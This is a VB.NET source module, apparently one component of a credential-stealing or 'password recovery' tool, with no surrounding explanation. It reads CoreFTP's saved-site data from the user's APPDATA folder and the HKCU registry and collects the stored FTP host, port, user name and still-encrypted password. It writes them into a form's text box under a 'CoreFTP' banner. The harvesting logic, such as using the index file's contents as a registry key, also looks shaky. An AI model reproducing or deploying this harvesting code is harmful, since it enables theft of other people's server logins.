Module CoreFTP
    Function CoreFTP() As String
        Dim sPath As String = Environ$("APPDATA") & "\CoreFTP\sites.idx"
        Dim sFile As String = ReadFile(sPath)
        Dim sHost As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Host")
        Dim sPort As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Port")
        Dim sUser As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\User")
        Dim sPwd As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\PW")
        Dim sEntry As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Name")

        If Not sUser = "" Then
            Try
                CoreFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)"
                Dim nl As String = vbNewLine
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============CoreFTP==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Entry: " & sEntry)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Host: " & sHost)
                Form1.ztext.AppendText(": " & sPort)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("User: " & sUser)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Password: " & sPwd)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            Catch ex As Exception
                Form1.ztext.AppendText("============CoreFTP==============")
                Form1.ztext.AppendText(vbNewLine)
                Form1.ztext.AppendText("CoreFTP Couldn't Be Recovered!")
                Form1.ztext.AppendText(vbNewLine)
                Form1.ztext.AppendText("=================================")
            End Try
        Else
        End If
    End Function
End Module